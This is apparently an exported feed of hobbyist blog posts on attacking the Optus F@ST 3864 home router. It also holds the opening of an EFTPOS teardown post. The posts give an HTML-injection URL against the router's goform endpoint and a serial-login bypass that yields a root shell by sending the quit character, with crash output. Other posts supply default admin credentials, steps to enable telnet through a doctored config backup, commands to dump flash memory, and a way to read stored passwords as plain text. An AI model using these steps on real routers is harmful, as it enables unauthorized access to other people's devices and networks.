<span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;">and using the img </span></span></span></span></span></span></span></span></span></span></span></span><span style="font-size: small;">tag and span tags we get </span><br />
<span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"></span></span></span></span></span></span></span></span> </span></span></span></span><br />
<br />
<span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><img
border=0 width=300 height=200
src="https://www.google.com.au/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png"alt="some
crap goes here" v:shapes="and here as
well"><span><p><a href="http://google.com"
target="_blank"><span class="index_toplink">this will take us
out of the local net</span></a></span></span></span></span></span><br />
<br />
<span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;">then we close out the <xyz></span></span></span></span><br />
<br />
<span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;">and finally we use a unclosed <script></span></span></span></span><span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"> to hide the rest of the normal output </span></span></span></span><br />
<span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;">in total we get: </span></span></span></span><br />
<span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"><br /></span></span></span></span>
<span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"> http://Your-R-IP/goform/goform_process?goformId=MODE_SWITCH&switchCmd=pagenamegoeshere</title><xyz><img border=0 width=300 height=200 src="https://www.google.com.au/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png"alt="some crap goes here" v:shapes="and here as well"><span><p><a href="http://google.com" target="_blank"><span class="index_toplink">this will take us out of the local net</span></a></span></xyz><script> </span></span></span></span><br />
<br />
<br />
<span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;">we cant use & or # symbols in the scripts so it makes it kinda hard to utilise all of scripting used by the webserver although </span></span></span></span><br />
<span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"> this can be used to append # to objects via scripting:</span></span></span></span><br />
<span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"><span style="font-size: small;"> </span></span></span></span>
<br />
<a trans=" ? " href=" ? " data-bind="attr: {href: hash, trans: hash.substring(1)}"><br />
gives href:# ? <br />
and trans:# ?<br />
<br />
<br />
till next time <br />
<span style="font-size: large;"><span style="font-size: small;"><span style="font-size: large;"> </span></span></span>FrankSxhttp://www.blogger.com/profile/15984311191300123615noreply@blogger.com0tag:blogger.com,1999:blog-8819090782240114218.post-9636411601309300622016-06-01T12:57:00.002+10:002022-09-16T09:29:21.449+10:00f@st 3864: dumping the filesys<h2 class="date-header" style="background-color: #333333; color: #cccccc; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 11px; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal; margin: 0px; min-height: 0px; position: relative;"><span style="background-color: transparent; letter-spacing: inherit; margin: inherit; padding: inherit;">Wednesday, 1 June 2016</span></h2><div class="date-posts" style="background-color: #333333; color: #cccccc; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 12px;"><div class="post-outer"><div class="post hentry uncustomized-post-template" itemprop="blogPost" itemscope="itemscope" itemtype="http://schema.org/BlogPosting" style="margin: 0px 0px 25px; min-height: 0px; position: relative;"><a name="963641160130930062"></a><h3 class="post-title entry-title" itemprop="name" style="font-size: 22px; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: normal; line-height: normal; margin: 0.75em 0px 0px; position: relative;">F@ST 3864v1: dumping the filesys</h3><div class="post-header" style="font-size: 10.8px; line-height: 1.6; margin: 0px 0px 1.5em;"><div class="post-header-line-1"></div></div><div class="post-body entry-content" id="post-body-963641160130930062" itemprop="description articleBody" style="font-size: 13.2px; line-height: 1.4; position: relative; width: 570px;"><span style="font-size: large;">F@ST 3864v1: dumping the filesys</span><br /><span style="font-size: large;"> <span style="font-size: small;">this is easily accomplished via cat:</span></span><br /><span style="font-size: large;"><span style="font-size: small;">#cat /dev/mtd0 > (either(/tmp/www/mtd.jpg)(/mnt/usb1_1)</span></span><br /><span style="font-size: large;"> <span style="font-size: small;">retrive the file via http://localhost/tmp/www/mtd.jpg</span></span><br /> Or<br />Via usb<br />or<br />Even Tftp<br /><br />the rootFS.jffs2 is stored in mtd0 (this will include the cferam.000 file )<br />the rootFs_update is stored in mtd1<br />the data is stored in mtd2<br />the nvram is stored in mtd3<br /> you can use binwalk to extract the rootfs as long as you have installed jefferson(jffs2 libary)(https://github.com/sviehb/jefferson)<br /><br />Now we can turn our focuses towards the bin contents and the lib functions..<br />stay tuned</div></div></div></div>FrankSxhttp://www.blogger.com/profile/15984311191300123615noreply@blogger.com0tag:blogger.com,1999:blog-8819090782240114218.post-73775247315576360862016-06-01T11:57:00.002+10:002022-09-16T09:27:37.956+10:00 f@st 3864: serial prompt authentication exploit.<br /><h3 class="post-title entry-title" itemprop="name" style="background-color: #333333; color: #cccccc; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 22px; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: normal; line-height: normal; margin: 0.75em 0px 0px; position: relative;">F@ST 3864v1: serial prompt authentication exploit.</h3><div class="post-header" style="background-color: #333333; color: #cccccc; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 10.8px; line-height: 1.6; margin: 0px 0px 1.5em;"><div class="post-header-line-1"></div></div><div class="post-body entry-content" id="post-body-7377524731557636086" itemprop="description articleBody" style="background-color: #333333; color: #cccccc; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px; line-height: 1.4; position: relative; width: 570px;"><br /><span style="font-size: large;"> F@ST 3864v1:</span><br /><span style="font-size: large;"> serial prompt authentication exploit.</span><br /><br /><br />ok guys this ones a really quick one, ive got alot to come but this is urgent :P<br /><br /><br /><span style="font-size: small;">during my usual diggings i was left sitting at the caret waiting on a login to begin..</span><br /><br />Login: /////////////////////////////////////////////////////////////////////////<br />Password: <br />Login incorrect. Try again. <br /><br />next i thought just a web null what could be the worst that happens:<br />Login: <br />Password: <br />Login incorrect. Try again.<br /><br />next was:<br /><br />Login: %^]���^B����=y4���^B���^\<br /><br />just as a random ammount of unicode chars<br /><br />and then i learnt<br /><br />that i could simply use<br />Login: ^\ (this ones the stty quit command)<br /><br />wlmngr/669: potentially unexpected fatal sign .<br />smd/340: potentially unexpected fatal signal 3.<br /> Cpu 0 <br />$ 0 : 00000000 10008d00 00000202 00000012 <br />$ 4 : 00000012 7fee1710 00000000 00000001 <br />$ 8 : 00000000 7fee15ec 00000000 77fe9434 <br />$12 : 00009326 7fee15e4 00000000 00000000 <br />$16 : 7fee1964 00000001 00401e2c 00000000 <br />$20 : 00000000 00000000 00000000 00407b48 <br />$24 : 00000000 2adaef90 <br />$28 : 2adfc3e0 7fee1668 7fee1698 00404884 <br />Hi : 00c34ea5 <br />Lo : 1f6336bc <br />epc : 2adaefcc 0x2adaefcc <br /> Tainted: P <br />ra : 00404884 0x404884 <br />Status: 00008d13 USER EXL IE <br />Cause : 00000020 <br />PrId : 0002a080 (Broadcom4350) <br />�consoled/976: potentially unexpected fatal signal 3. <br />swmdk/776: potentially unexpected fatal signal 3. <br />swmdk/727: potentially unexpected fatal signal 3. <br />dsldiagd/726: potentially unexpected fatal signal 3. <br />dhcpd/357: potentially unexpected fatal signal 3. <br />� <br /> <br />Cpu 0 <br />$ 0 : 00000000 <br />Cpu 1 <br />$ 0 : 00000000 00000001 00000200 00000000 <br />$ 4 : 00000003 0041951c 0000001c 00000001 <br />$ 8 : 02000000 626c6564 4f4d5f43 4f4d5f47 <br />$12 : 75657374 49736f6c 61746543 6c69656e <br />$16 : 0041951c 00000003 00400e34 00000000 <br />$20 : 00000000 00000000 00000000 00407b48 <br />$24 : 00000001 2af12980 <br />$28 : 2af603e0 7ff7e328 7ff7e380 2af0e940 <br />Hi : 00000001 <br />Lo : 00000000 <br />epc : 2af129a4 0x2af129a4 <br /> Tainted: P <br />ra : 2af0e940 0x2af0e940 <br />Status: 00008d13 USER EXL IE <br />Cause : 00000020 <br />PrId : 0002a080 (Broadcom4350) <br /> 00000001 00000202 0041ed80 <br />$ 4 : 00000005 7fa5167c 00000000 00000001 <br />$ 8 : 00000030 00000000 00000001 00000057 <br />$12 : 00000807 00000800 00000400 00000008 <br />$16 : 0041ec68 <br />Cpu 1 <br />$ 0 : 00000000 7fd4d1c6 00000202 00000001 <br />$ 4 : 00000001 7fd4d18c 00000000 00000001 <br />$ 8 : 03994c69 00000001 0000005b 00000000 <br />$12 : 00000001 2ac456f3 2ab4bafb 2ac4171c <br />$16 : 7fd4d5d4 00000003 00400fc4 00000000 <br />$20 : 00000000 00000000 00000000 00407b48 <br />$24 : 2ac3b96c 2aea4f90 <br />$28 : 2aef23e0 7fd4d0f8 7fd4d128 2ab5069c <br />Hi : 0000031b <br />Lo : 0000e4c2 <br />epc : 2aea4fcc 0x2aea4fcc <br /> Tainted: P <br />ra : 2ab5069c 0x2ab5069c <br />Status: 00008d13 USER EXL IE <br />Cause : 00000020 <br />PrId : 0002a080 (Broadcom4350) <br /> 0000a8dd <br />Cpu 1 <br />$ 0 : 00000000 7ffcf074 00000202 7ffcfdbc <br />$ 4 : 00000006 7ffcfdbc 00000000 00000001 <br />$ 8 : 00000000 00000000 00000000 00000000 <br />$12 : 00000000 00000000 00000000 00000000 <br />$16 : 7ffd0024 00000001 00401000 00000000 <br />$20 : 00000000 00000000 00000000 00407b48 <br />$24 : 00000000 2abb7f90 <br />$28 : 2ac053e0 7ffcfc98 7ffcfcc8 004012d8 <br />Hi : 00000000 <br />Lo : 00000000 <br />epc : 2abb7fcc 0x2abb7fcc <br /> Tainted: P <br />ra : 004012d8 0x4012d8 <br />Status: 00008d13 USER EXL IE <br />Cause : 00000020 <br />PrId : 0002a080 (Broadcom4350) <br /> 0041ec68 <br />Cpu 1 <br />$ 0 : 00000000 10008d00 00000202 80000000 <br />$ 4 : 7fab3ac0 00000010 7fab3ac0 00000001 <br />$ 8 : 00000000 00000000 00000000 00000415 <br />$12 : 00000415 87b87c00 00000002 2af8a288 <br />$16 : 7fab3ac0 2aafd454 2aafd480 00000000 <br />$20 : 2aae17d0 00000000 00000000 00407b48 <br />$24 : 2af86868 2af97760 <br />$28 : 2afe43e0 7fab3a88 7fab3c28 2aae7238 <br />Hi : 00000018 <br />Lo : 00038c23 <br />epc : 2af97788 0x2af97788 <br /> Tainted: P <br />ra : 2aae7238 0x2aae7238 <br />Status: 00008d13 USER EXL IE <br />Cause : 00000020 <br />PrId : 0002a080 (Broadcom4350) <br />Cpu 1 <br />$ 0 : 00000000 10008d00 00000000 00000000 <br />$ 4 : 7f3ffaf8 7f3ffaf8 00000000 00000000 <br />$ 8 : 00000000 00008d00 00000000 87848000 <br />$12 : 000092bc 811018e0 00000000 00000000 <br />$16 : 7f3ffaf8 7f3ffaf8 00000002 00000000 <br />$20 : 7f3ffb80 2aafd480 7f201000 00000004 <br />$24 : 00000000 2af966c0 <br />$28 : 2afe43e0 7f3ffa90 7f3ffca8 2aae6b50 <br />Hi : 00000000 <br />Lo : 3b9aca00 <br />epc : 2af966e4 0x2af966e4 <br /> Tainted: P <br />ra : 2aae6b50 0x2aae6b50 <br />Status: 00008d13 USER EXL IE <br />Cause : 00000020 <br />PrId : 0002a080 (Broadcom4350) <br /> 00000001 <br />$20 : 7fa51d14 0040bf84 0040bff0 0040bfa4 <br />$24 : 00000001 2ab57f90 <br />$28 : 2aba53e0 7fa515e8 7fa51618 00402488 <br />Hi : 00000000 <br />Lo : 0002b4e0 <br />epc : 2ab57fcc 0x2ab57fcc <br />swmdk/777: potentially unexpected fatal signal 3. <br /> <br />Cpu 1 <br />$ 0 : 00000000 00000001 00000204 00000000 <br />$ 4 : 7f1ffaf8 7f1ffaf8 00000000 00000001 <br />$ 8 : 00000000 80000008 80095310 fffffff0 <br />$12 : 7f1ffb00 00000000 7f3ffab8 00000000 <br />$16 : 7f1ffaf8 7f1ffaf8 00000003 00000000 <br />$20 : 7f1ffb80 2aafd480 7f001000 00000004 <br />$24 : 00000000 2af966c0 <br />$28 : 2afe43e0 7f1ffa90 7f1ffca8 2aae6b50 <br />Hi : 08e5afb8 <br />Lo : 22b60d87 <br />epc : 2af966e4 0x2af966e4 <br /> Tainted: P <br />ra : 2aae6b50 0x2aae6b50 <br />Status: 00008d13 USER EXL IE <br />Cause : 00000020 <br />PrId : 0002a080 (Broadcom4350) <br /> Tainted: P <br />ra : 00402488 0x402488 <br />Status: 00008d13 USER EXL IE <br />Cause : 00000020 <br />PrId : 0002a080 (Broadcom4350) <br />ssk:error:704.805:ssk_main:435:detected exit of smd, ssk will also exit <br />Quit <br />dnsproxy:error:704.807:processCmsMsg:1258:lost connection to smd, exiting now.<br />tr69c:error:704.808:readMessageFromSmd:1555:lost connection to smd, exiting now.<br /><br /><br /> <span style="font-size: large;">And we have shell</span><br />#<br /><br />although we have broken the router and it will now require a restart<br /><br />enjoy and ill be back really soon with a few more surprises<br /><br />\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\<br />STTY commands:<br /><br />intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; <br /> <br />eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; <br /> <br />werase = ^W; lnext = ^V; flush = ^O; min = 1; time = 0; <br /> <br />-brkint ixoff -imaxbel <br />\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ <br /></div>FrankSxhttp://www.blogger.com/profile/15984311191300123615noreply@blogger.com0tag:blogger.com,1999:blog-8819090782240114218.post-29220395862507311482016-03-10T14:10:00.005+11:002022-09-16T09:25:29.804+10:00f@st3864 Telnet/Serial <div class="replytext bodytext" data-replyid="49817315" data-uname="xFrankSx">
<h3 class="post-title entry-title" itemprop="name" style="background-color: #333333; color: #cccccc; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 22px; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: normal; line-height: normal; margin: 0.75em 0px 0px; position: relative;">f@st3864 Telnet/Serial</h3><h2><div class="post-header" style="background-color: #333333; color: #cccccc; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 10.8px; font-weight: 400; line-height: 1.6; margin: 0px 0px 1.5em;"><div class="post-header-line-1"></div></div><div class="post-body entry-content" id="post-body-2922039586250731148" itemprop="description articleBody" style="background-color: #333333; color: #cccccc; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13.2px; font-weight: 400; line-height: 1.4; position: relative; width: 570px;"><div class="replytext bodytext" data-replyid="49817315" data-uname="xFrankSx">R.e F@st3864v2<br /><br /><br />Optus F@st3864<br /><br /><br />The quickest way to openly access this routers administration tools is to log in via<br /><a class="external" href="https://web.archive.org/web/20171010081331/http://192.168.0.1/main.html?loginuser=0" rel="nofollow" style="color: #dd7700; text-decoration-line: none;" target="_blank">http://192.168.0.1/main.html?loginuser=0</a><br /><br />logging in with the default<br /><br />admin/Y3s0ptus loginuser=0<br />***support/support<wbr></wbr>***loginuser=1<br />***user/user*****loginuser=2<br /><br />***To Activate telnet***<br /><br />going to management/system settings " download this file " sysinfo.f24<br />open the file in notepad<br /><br />the file splits into two sections<br /><br />the section we want is headed by<br />backup config:<br /><br /><?xml version="1.0"?><br /><DslCpeConfig version="3.0"><br /><br />and closed by<br /><br /></InternetGatewayDevice><br /></DslCpeConfig><br /><br />so by copying all the xml information between these two points and pasting into a new notepad<br /><br />you have created our new backup file,<br />before we save it and close find<br /><br /><X_GVT_Telnet_Enable>FALSE</X_GVT_Telnet_Enable><br />Change FALSE to TRUE<br />then save the file as backupconfig.xml<br />then use this XML file to update the settings,<br /><br /><br />also i wouldnt advise trying to change the admin password directly thru this XML<br />unless you encrypted it first into base64 and place the encrypted password in the XML.<br /><br />telnet to your routers ip using<br />telnet<br />open 192.168.x.y<br /><br />logging in with the default admin/Y3s0ptus<br />and press ? for telnetd help<br />or type in sh for shell access(ash)<br />typing help for commands<br />also typing busybox for a larger set of commands<br />ls for list<br />cat to read files<br />cp to copy to usb<br />tftp to move files on and off via a tftp server(this is also how the router hides the cgi files)<br />use ./ to run any executables that arent listed in busybox. i.e bin files<br />use chmod to change the file permissions to files you cant access but first try cat so you do not have to change them back<br />passwd to change the passwords of accounts<br /><br />Please note changing the admin password does not stop a normal user from checking the passwords which are in plain text and can be found by browsing to the password change utillity and pressing f12 then using the debugger to read the password out of the passwords cgi webpage which we have read in order to load the password utillity<br /><br /><br /><br /><br /><br />the change of passwords will also be reflected on serial and telnet logins<br />also the samba servers can be shut down via the menus as well<br /><br /><br />telnet is easily closed by reuploading the backup config and changing the telnet value<br />or more easily by power cycling<br /><br /><br /> <br />the serial port is accessed via 4 pins on the main board using a usb to serial you simply need to connect the rx(white)/tx(green)/gnd to out/in/gnd<br />as the board is self powered , but a 3.3 v power supply could be used to serial the main chip with out power but this disables all the other accessorys<br /><ol><li style="margin: 0px 0px 0.25em; padding: 0px;">stty<br />speed 115200 baud;<br />intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>;<br />eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R;<br />werase = ^W; lnext = ^V; flush = ^O; min = 1; time =0;<br />-brkint ixoff -imaxbel</li></ol>some times you can gain a shell access without logging in this is a major security failure ,<br />im still figuring out how the shell is gained but pressing ^D(backspace) or enter after the bootloader is finished you will receive a login prompt, your routers homepage admin details is the login/pass<br /><br /><br />on a side note<br /><br />Has anyone worked out the Optus Fast program that is in the router it appears to need a password but is capable of restoring the firmware to sagem unbranded firmware,<br />location : ~/bin/ file: ~/bin/fast<br /># fast<br />Usage:<br />singled command:<br />fast unlock-next-reboot -p password<br />there is also commands to read out other infomation,<br />factory info / serial number / psi-config R/W/Clear / back-up config R/w/ hw – version/ base-mac/<br />SW version / config id / customer name / scratchpad R/Clear / led commands / factory-test[enable|disable|status] / factory eth test / flash-lastKB R/W / flash-data read -a address(hex) -l length(dec)<br /><br /><br />has anyone looked into how they create this password, i have looked into the file in IDa and found it is dynamical created from several memory locations that are only created at runtime. any help would be great</div></div></h2></div>
FrankSxhttp://www.blogger.com/profile/15984311191300123615noreply@blogger.com5tag:blogger.com,1999:blog-8819090782240114218.post-31439433031256638372015-11-24T00:47:00.020+11:002022-09-16T09:14:31.832+10:00Reverse Engineering A Eftpos Machine Part 2<div style="text-align: left;">
<!--[if gte mso 9]><xml><w:WordDocument><w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel><w:DisplayHorizontalDrawingGridEvery>0</w:DisplayHorizontalDrawingGridEvery><w:DisplayVerticalDrawingGridEvery>2</w:DisplayVerticalDrawingGridEvery><w:DocumentKind>DocumentNotSpecified</w:DocumentKind><w:DrawingGridVerticalSpacing>7.8</w:DrawingGridVerticalSpacing><w:View>Normal</w:View><w:Compatibility><w:DontGrowAutofit/></w:Compatibility><w:Zoom>0</w:Zoom></w:WordDocument></xml><![endif]--><br /></div>
<div style="text-align: left;">
<!--[if gte mso 9]><xml><w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true" DefSemiHidden="true" DefQFormat="false" DefPriority="99" LatentStyleCount="156" ><w:LsdException Locked="false" Priority="99" Name="Normal" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="heading 1" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="heading 2" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="heading 3" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="heading 4" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="heading 5" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="heading 6" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="heading 7" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="heading 8" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="heading 9" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="index 1" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="index 2" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="index 3" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="index 4" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="index 5" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="index 6" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="index 7" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="index 8" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="index 9" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="toc 1" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="toc 2" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="toc 3" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="toc 4" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="toc 5" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="toc 6" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="toc 7" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="toc 8" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="toc 9" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Normal Indent" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="footnote text" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="annotation text" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="header" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="footer" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="index heading" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="caption" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="table of figures" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="envelope address" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="envelope return" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="footnote reference" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="annotation reference" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="line number" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="page number" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="endnote reference" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="endnote text" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="table of authorities" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="macro" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="toa heading" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="List" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="List Bullet" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="List Number" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="List 2" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="List 3" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="List 4" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="List 5" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="List Bullet 2" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="List Bullet 3" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="List Bullet 4" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="List Bullet 5" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="List Number 2" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="List Number 3" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="List Number 4" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="List Number 5" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Title" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Closing" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Signature" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Default Paragraph Font" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Body Text" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Body Text Indent" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="List Continue" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="List Continue 2" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="List Continue 3" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="List Continue 4" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="List Continue 5" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Message Header" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Subtitle" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Salutation" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Date" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Body Text First Indent" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Body Text First Indent 2" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Note Heading" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Body Text 2" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Body Text 3" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Body Text Indent 2" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Body Text Indent 3" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Block Text" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Hyperlink" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="FollowedHyperlink" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Strong" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Emphasis" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Document Map" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Plain Text" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="E-mail Signature" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Normal (Web)" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="HTML Acronym" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="HTML Address" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="HTML Cite" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="HTML Code" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="HTML Definition" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="HTML Keyboard" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="HTML Preformatted" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="HTML Sample" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="HTML Typewriter" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="HTML Variable" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Normal Table" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="annotation subject" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="No List" ></w:LsdException><w:LsdException Locked="false" Priority="99" Name="Balloon Text" ></w:LsdException></w:LatentStyles></xml><![endif]--><br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "times new roman"; font-size: 10.5pt;">Its about time i update my progress:</span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "times new roman"; font-size: 10.5pt;">Chip listing and datasheet sourcing :85% </span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<span style="font-family: "times new roman"; font-size: 10.5pt;">Keypad side: </span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 21.25pt; margin-top: 0pt; text-align: left; text-indent: -21.25pt;">
<span style="font-family: "times new roman"; font-size: 10.5pt;"><span style="mso-list: Ignore;">1. </span></span><span style="font-family: "times new roman"; font-size: 10.5pt;">7660cbaz (( </span><span style="font-family: "arial"; font-size: 9pt;">Simple Conversion of</span><span style="font-family: "arial"; font-size: 9pt;"> </span><span style="font-family: "arial"; font-size: 9pt;">+5V Logic Supply to</span><span style="font-family: "arial"; font-size: 9pt;"> +/-</span><span style="font-family: "arial"; font-size: 9pt;">5V Suppl</span><span style="font-family: "arial"; font-size: 9pt;">y + Features</span><span style="font-family: "times new roman"; font-size: 10.5pt;">))</span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-left: 21.25pt; margin-top: 0pt; text-align: left; text-indent: -21.25pt;">
<span style="font-family: "times new roman"; font-size: 10.5pt;"><span style="mso-list: Ignore;">2. </span></span><span style="font-family: "times new roman"; font-size: 10.5pt;">SP232Enc - ((</span><span style="font-family: "times new roman"; font-size: 10.5pt;">High Performance 2x RS-232 Line Drivers/Receivers))</span><span style="font-family: "times new roman"; font-size: 10.5pt;"></span></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
<br /></div>
<div class="p0" style="margin-bottom: 0pt; margin-top: 0pt; text-align: left;">
